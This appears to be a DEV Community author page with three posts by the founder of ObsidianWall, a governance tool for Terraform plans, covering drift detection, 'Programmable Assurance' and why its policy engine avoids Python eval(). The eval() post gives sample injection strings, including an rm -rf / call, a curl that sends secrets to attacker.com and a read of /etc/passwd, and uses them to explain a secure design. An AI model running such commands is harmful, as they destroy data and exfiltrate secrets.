DEV Community: Aisha

I Built a Pre-Deployment Governance Tool. Here's What It Couldn't Answer.

Aisha — Mon, 08 Jun 2026 09:30:00 +0000

By Aisha Ibrahim
Founder, ObsidianWall

About three months into building ObsidianWall Verdict, I ran into a question I kept not being able to answer.

Verdict works well at what it does. You give it a Terraform plan and a policy, and it tells you whether the deployment should proceed — risk score, condition trace, full audit artifact. Deterministic. Explainable. Fast.

verdict evaluate \
  --plan   terraform_plan.json \
  --policy policies/cost/basic_budget.yaml \
  --role   engineer

DENY_WITH_OVERRIDE. Risk 75/100. Budget exceeded.

Clean output. Clear decision.

Except I kept thinking: then what?

The deployment got blocked. Did someone override it? Did they just deploy from a different terminal? Did the cost actually come in under budget when they eventually ran it? Did the policy even matter?

Verdict had no idea. It made a decision and moved on. That's a policy engine, not a governance system.

The gap nobody talks about

Most policy-as-code tools stop at pass/fail. Check runs, result comes back, pipeline continues or doesn't. That's where the category ends for most teams.

But the whole premise of what I'm building — Programmable Assurance — is that enforcement alone isn't assurance. Assurance means you can demonstrate that reality stayed aligned with intent over time. Not just at the moment of deployment. After it.

So I started building Sentinel.

Verdict's question: should this deployment be allowed?
Sentinel's question: did reality stay aligned after the decision was made?

Those sound similar. They're not.

The design problem I didn't see coming

My first draft of Sentinel required passing --policy on every scan:

verdict sentinel scan \
  --plan   terraform_plan.json \
  --policy policies/cost/basic_budget.yaml

Explicit. Works fine. Also wrong.

The problem isn't the UX. The problem is what question it's asking. When you require --policy, you're asking: which policy file should I use? But when you run Sentinel, the real question is: which governance decision am I verifying against?

Those are different questions. One is filesystem-centric. The other is governance-centric.

If a policy file gets moved, renamed, or updated between Verdict's evaluation and when Sentinel runs, you lose the connection. You're no longer comparing against the original decision — you're comparing against whatever the current policy says. That's not reality verification. That's just running Verdict twice.

The fix was small but it mattered architecturally. Store the policy path inside the governance decision record at evaluation time:

record_decision(
    result=result,
    plan_path=plan,
    policy_path=policy,  # now stored in decisions table
)

Now Sentinel loads the comparison decision from governance history, reads the stored policy_path, and uses that to re-evaluate the current plan. No --policy flag required.

verdict sentinel scan --plan terraform_plan.json

The governance record is the source of truth. Not the filesystem. The decision ID is the stable reference — not a file path that might change.

What the output actually looks like

When nothing has drifted:

────────────────────────────────────────────────────────────────────────
  ObsidianWall Sentinel — Drift Detection Report
────────────────────────────────────────────────────────────────────────

  Decision:  5a6f5869  (2026-06-08 05:55:04)
  Policy:    basic_budget_verdict
  Plan:      samples/terraform_plan.json

  Decision Comparison
────────────────────────────────────────────────────────────────────────
  Previous:  ⚠️  DENY_WITH_OVERRIDE    risk: 75/100
  Current:   ⚠️  DENY_WITH_OVERRIDE    risk: 75/100

  Condition Comparison
────────────────────────────────────────────────────────────────────────
  budget_check    ✗ FAIL → ✗ FAIL    unchanged

  Outcome
────────────────────────────────────────────────────────────────────────
  ✅ No drift detected
  Recorded: no_drift

Pay attention to what gets recorded: no_drift. Not deployment_success.

That distinction is intentional. Sentinel at this stage has no cloud API access. It cannot know whether a deployment actually ran or succeeded. It only knows whether the governance state of the plan matches the previous evaluation. So it records what it can actually observe.

deployment_success would be a claim about what happened in production. Sentinel has no evidence for that claim. no_drift is a claim about governance state. That it can verify directly.

Small distinction. But this kind of precision is what separates a tool that's honest about its own limitations from one that manufactures confidence.

Three evidence streams, not one

Building Sentinel forced me to think more clearly about the different kinds of evidence a governance system actually produces.

Decision Evidence is what Verdict creates — what was decided, why, with what risk score, based on which conditions.

Reality Evidence is what Sentinel creates — whether the governance state held after the decision was made. Did the plan drift? Did new failures appear?

Operational Evidence is what neither of them creates yet — whether the deployment actually succeeded or caused an incident in production. That requires cloud API integration and comes later.

Most governance tools collapse all three into a single log entry. "Passed." "Failed." Full stop.

Keeping them separate matters because they answer genuinely different questions. Once you have all three, you can start asking things that governance tooling almost never supports: Did the policies that denied deployments actually prevent incidents? Are there controls that get overridden constantly without any subsequent problems — suggesting they're miscalibrated? Which policies generate friction without generating safety?

That's governance intelligence. Not governance logging.

Where it stands

Verdict is live and open source. Sentinel MVP shipped this week. The audit output is starting to show evidence from multiple streams in one place:

Deployment Outcomes

no_drift              2
deployment_success    2

Two outcomes. Small number. But real evidence — not assumed outcomes, not synthetic telemetry. As that history grows, the insights engine stops guessing and starts reasoning from actual data.

The repo is at github.com/ObsidianWall/obsidianwall-verdict if you want to look at the implementation or try it against your own Terraform plans.

Defining Programmable Assurance

Aisha — Mon, 01 Jun 2026 08:07:00 +0000

By Aisha Ibrahim
Founder, ObsidianWall — building programmable
governance infrastructure for cloud and AI systems.

For decades, organizations have relied on policies, standards, controls, audits, and governance processes to create assurance.

Assurance answers a simple question:

How do we know that what we intended is actually happening?

Traditionally, assurance has been manual.

Policies are written in documents.

Controls are implemented separately by engineering teams.

Auditors review evidence months later.

Exceptions are tracked in spreadsheets.

Approvals occur through emails and ticketing systems.

The result is a governance gap between intent and reality.

Organizations define what they want, but they often lack a reliable mechanism to continuously verify that reality matches that intent.

The Problem

Modern organizations operate through software.

Infrastructure is code.

Security controls are code.

Identity systems are code.

AI systems are code.

Yet governance remains largely document-driven.

This creates a fundamental mismatch.

Engineering operates at machine speed.

Governance operates at human speed.

The larger and more complex an organization becomes, the larger this gap grows.

What Is Programmable Assurance?

Programmable Assurance is the discipline of expressing organizational intent as executable, verifiable, explainable, and continuously enforceable governance logic.

Instead of relying solely on written policies and periodic audits, assurance becomes programmable.

Intent becomes code.

Controls become executable.

Decisions become deterministic.

Evidence becomes continuously generated.

Accountability becomes traceable.

Assurance is no longer a retrospective activity.

It becomes a runtime capability.

Core Principles

Programmable Assurance is built upon five principles.

1. Intent Must Be Executable

Policies should not exist solely as documents.

Organizational intent must be represented in a form that systems can evaluate automatically.

Examples include:

Cost governance
Security requirements
Compliance obligations
Identity controls
Data governance requirements
AI governance standards
Resilience objectives

2. Decisions Must Be Deterministic

Governance decisions should be explainable and reproducible.

Given the same inputs and policies, the system should produce the same outcome every time.

Determinism creates trust.

3. Assurance Must Be Continuous

Traditional audits occur periodically.

Programmable Assurance operates continuously.

Every proposed change can be evaluated before implementation.

Every decision can generate evidence.

Every exception can be recorded.

4. Governance Must Be Explainable

Organizations need more than decisions.

They need reasoning.

A governance system should answer:

What decision was made?
Why was it made?
Which conditions influenced the outcome?
What evidence supported the decision?
Who approved exceptions?

Explainability transforms governance from a black box into an accountable process.

5. Accountability Must Be Programmable

Governance is ultimately about accountability.

Different stakeholders own different risks:

Engineers own implementation.
Security teams own security risk.
Budget owners own financial risk.
Compliance teams own regulatory risk.
Executives own business risk.

Programmable Assurance routes governance decisions to the stakeholders responsible for those risks while preserving operational velocity.

Beyond Policy-as-Code

Programmable Assurance is not merely Policy-as-Code.

Policy-as-Code focuses on expressing rules as executable logic.

Programmable Assurance encompasses a broader lifecycle:

Intent → Policy → Evaluation → Decision → Explainability → Accountability → Evidence → Continuous Assurance

Policy execution is only one component.

Assurance is the outcome.

Why This Matters

As organizations become increasingly software-defined and AI-driven, governance can no longer remain document-centric.

Organizations require systems capable of continuously translating intent into enforceable outcomes.

Programmable Assurance provides a framework for achieving that goal.

It transforms governance from static documentation into an active operational capability.

The future of governance is not more policies. The future of governance is making assurance programmable.

Why I Didn't Use eval() in ObsidianWall's Policy Engine — And What I Built Instead

Aisha — Mon, 25 May 2026 13:00:00 +0000

By Aisha Ibrahim
Founder, ObsidianWall

When you're building a tool that evaluates policy expressions like this:

(current_spend + estimated_cost) <= budget.amount

the obvious implementation is a single line of Python:

result = eval(expression, context)

It works. It's clean. It takes five minutes to write.

I didn't use it. Here's exactly why — and what I built instead.

What ObsidianWall Is

Before getting into the technical decision, some context.

ObsidianWall is a programmable assurance platform — a system for encoding human governance intent as executable policy, evaluating it deterministically, and enforcing it transparently with full audit traceability.

The core doctrine of the platform is this:

AI may advise. AI may explain. AI may optimize. AI may recommend.
AI may NOT authoritatively govern.

That single principle drives every architectural decision in the platform, including the one this article is about.

ObsidianWall Verdict is the first executable built on that platform — a deterministic pre-deployment infrastructure governance engine. It evaluates infrastructure plans against policy before deployment happens, produces an enforcement decision, and generates an audit-grade trace of exactly how that decision was reached.

The expression evaluator is at the heart of how Verdict makes those decisions. And that is where eval() became the wrong answer.

The Problem With eval() in a Governance Engine

eval() executes arbitrary Python expressions. That sentence sounds harmless until you think carefully about what "arbitrary" means in the context of a system that:

Accepts policy files written by humans
Processes infrastructure plans from CI/CD pipelines
Makes enforcement decisions that block or allow deployments
Produces audit records that compliance teams rely on

In that context, "arbitrary" means any of the following become valid inputs to your evaluator:

# Someone writes this as a policy condition expression:
"__import__('os').system('rm -rf /')"

# Or this:
"__import__('subprocess').call(['curl', 'http://attacker.com', '-d', secrets])"

# Or something subtler:
"open('/etc/passwd').read() == 'root'"

eval() executes all of them without question.

The standard advice is to sandbox it by removing builtins:

result = eval(expression, {"__builtins__": {}}, context)

This is not sufficient. Python's object model provides paths back to dangerous capabilities through class hierarchies even with builtins removed. Security researchers have broken every Python eval sandbox ever published. This is a fundamentally unsolved problem — not an engineering challenge you can outthink with a clever enough sandbox.

But the security problem is not even the most important reason to reject eval().

The Real Problem: Auditability

A governance engine is not a calculator. It is a system that makes enforcement decisions about infrastructure and produces audit records that humans, compliance teams, and regulators rely on.

For that system to be trustworthy, every decision must be:

Deterministic — the same input always produces the same output, without exception
Auditable — a human reading the trace can verify the decision independently without running any code
Bounded — the complete set of things the evaluator can do is finite, known, and describable

eval() fails all three requirements.

It is non-deterministic by design — side effects, I/O, and state mutations are all possible. It is not auditable — you cannot fully describe its behavior surface without describing all of Python. It is unbounded — it can do anything Python can do.

What a governance engine actually needs is not a Python expression evaluator. It needs a restricted expression grammar — a purposefully small language that can only do exactly what policy evaluation requires, and nothing else. The restriction is not a limitation. It is the entire point.

The Solution: A Deterministic Expression Grammar

ObsidianWall Verdict's condition evaluator supports a deliberately minimal grammar:

Comparison operators:   <=   >=   <   >   ==
Arithmetic operations:  addition  ( a + b )
Operand types:          context keys,  numeric literals

That is the complete grammar. No function calls. No variable assignment. No imports. No string manipulation. No loops. No conditionals beyond the comparison itself.

If an expression requires anything outside this grammar, the evaluator does not attempt to execute it. It raises an error with a clear message. The boundary is explicit, enforced, and fully testable.

This means a policy author can write:

conditions:
  - id: budget_check
    expression: "(current_spend + estimated_cost) <= budget.amount"
    description: "Monthly spend cap enforcement"

And the evaluator resolves it step by step:

Strip cosmetic parentheses
Identify the comparison operator — <=
Split into left side and right side
Resolve left side — current_spend + estimated_cost — by looking up each key in the runtime context and summing them
Resolve right side — budget.amount — by looking up the key in the runtime context
Apply the operator — 100 <= 50.0
Return the result — False

Every step is traceable. Every step is verifiable. A compliance engineer reading the audit output can reconstruct the evaluation manually without running any code. That is what auditability means in practice — not just logging that a decision happened, but making the decision itself independently verifiable.

The Normalization Layer — Bridging Human Intent and Machine Evaluation

There is an architectural subtlety that took real design work to get right.

Governance policies are written by humans in nested, readable structures:

spec:
  parameters:
    budget:
      amount: 50
      period: monthly
      owner: team-alpha

But the deterministic evaluator operates against a flat key-value context. It resolves budget.amount — not nested object traversal, not dynamic attribute access, not recursive dict walking.

The naive solution is to make the evaluator smart about nested structures. That is the wrong solution. It contaminates the evaluator with policy structure knowledge, destroys its determinism guarantees, and makes it significantly harder to audit.

The correct solution is a normalization layer that runs before evaluation — a dedicated component whose only job is to translate human-readable nested policy structures into evaluator-ready flat contexts:

Input:   {"budget": {"amount": 50, "period": "monthly"}}
Output:  {"budget.amount": 50, "budget.period": "monthly"}

After normalization, the evaluator receives a flat context. It resolves budget.amount directly. It never needs to know how the policy was structured. The normalization layer is the bridge — and it is the only place in the system that understands both the policy structure and the evaluation context simultaneously.

The evaluation pipeline becomes:

Raw Policy YAML
      ↓
Canonicalize DSL structure
      ↓
Validate against schema contract
      ↓
Flatten + merge into runtime context     ← normalization layer
      ↓
Restricted expression evaluation         ← deterministic, bounded
      ↓
Decision + immutable audit trace

Each layer has one responsibility. Each layer can be tested independently. Each layer can be audited independently. No layer needs to understand what the others are doing internally.

What This Means for Testing

Because the expression evaluator is a pure function with no side effects and a completely bounded input surface, testing it requires no mocking, no fixtures, and no infrastructure:

def test_blocks_when_budget_exceeded():
    context = {
        "current_spend":  0,
        "estimated_cost": 100,
        "budget.amount":  50.0
    }
    result = evaluate_expression(
        "(current_spend + estimated_cost) <= budget.amount",
        context
    )
    assert result is False


def test_allows_when_within_budget():
    context = {
        "current_spend":  0,
        "estimated_cost": 30,
        "budget.amount":  50.0
    }
    result = evaluate_expression(
        "(current_spend + estimated_cost) <= budget.amount",
        context
    )
    assert result is True


def test_rejects_expression_outside_grammar():
    with pytest.raises(ValueError):
        evaluate_expression(
            "__import__('os').system('ls')",
            {}
        )

A function goes in. A result comes out. You assert the result. No setup. No teardown. No dependencies. That is what happens when you build a pure deterministic function instead of delegating to eval().

The third test is particularly important for a governance engine. The evaluator does not just fail silently on unsupported expressions — it explicitly rejects them. The boundary is enforced, not just hoped for.

The Principle Behind the Decision

The decision not to use eval() is not primarily a security decision, though security is one outcome.

It is a decision about what kind of system ObsidianWall is.

The ObsidianWall doctrine says AI may advise but may not authoritatively govern. The same principle applies to the expression evaluator — it may evaluate exactly what the grammar allows, and nothing else. The restriction is the guarantee. The boundary is the trust.

A governance engine is only useful if the people governed by it trust it. Trust requires transparency. Transparency requires that the system's behavior be fully describable — that an engineer, a compliance officer, or a regulator can read the evaluation trace and verify independently that the decision was correct.

eval() cannot offer that guarantee. A restricted expression grammar can.

The minimal grammar is not a limitation imposed by inability. It is a design statement:

This system does exactly this, and nothing else. You can verify that. We built it that way on purpose.

That is what programmable assurance means.

The Audit Output

When Verdict evaluates a plan and reaches a decision, the audit artifact looks like this:

{
  "decision": "DENY",
  "conditions_passed": false,
  "trace": [
    {
      "condition_id": "budget_check",
      "expression": "(current_spend + estimated_cost) <= budget.amount",
      "result": false,
      "description": "Monthly spend cap enforcement"
    }
  ],
  "input_context": {
    "estimated_cost": 100,
    "current_spend": 0
  },
  "runtime_context": {
    "estimated_cost": 100,
    "current_spend": 0,
    "budget.amount": 50.0,
    "budget.period": "monthly"
  }
}

Two contexts are preserved separately — input_context captures what came in from the infrastructure plan, runtime_context captures the fully normalized state the evaluator actually saw. That separation matters for forensic reconstruction, compliance export, and replay — you can reproduce the exact evaluation state at any point in the future from the audit record alone.

What's Next

This is the first article in a series on the architecture behind ObsidianWall.

The next two cover:

How the enforcer/recommender separation preserves the AI authority boundary — why the system that makes enforcement decisions must be architecturally isolated from the system that generates recommendations, and what happens to governance trust when that boundary is violated.

How programmable assurance differs from reactive governance — why alerting, dashboards, and drift detection are fundamentally different abstractions from deterministic decision systems, and why that difference matters in AI-era infrastructure.

ObsidianWall Verdict is currently in early access.

If you are dealing with infrastructure budget overruns, compliance violations discovered after deployment, or policy drift across engineering teams — Verdict was built for exactly that problem.

Early access: obsidianwall.com

Aisha is the founder of ObsidianWall — a programmable assurance platform for deterministic governance and AI-native operational intelligence.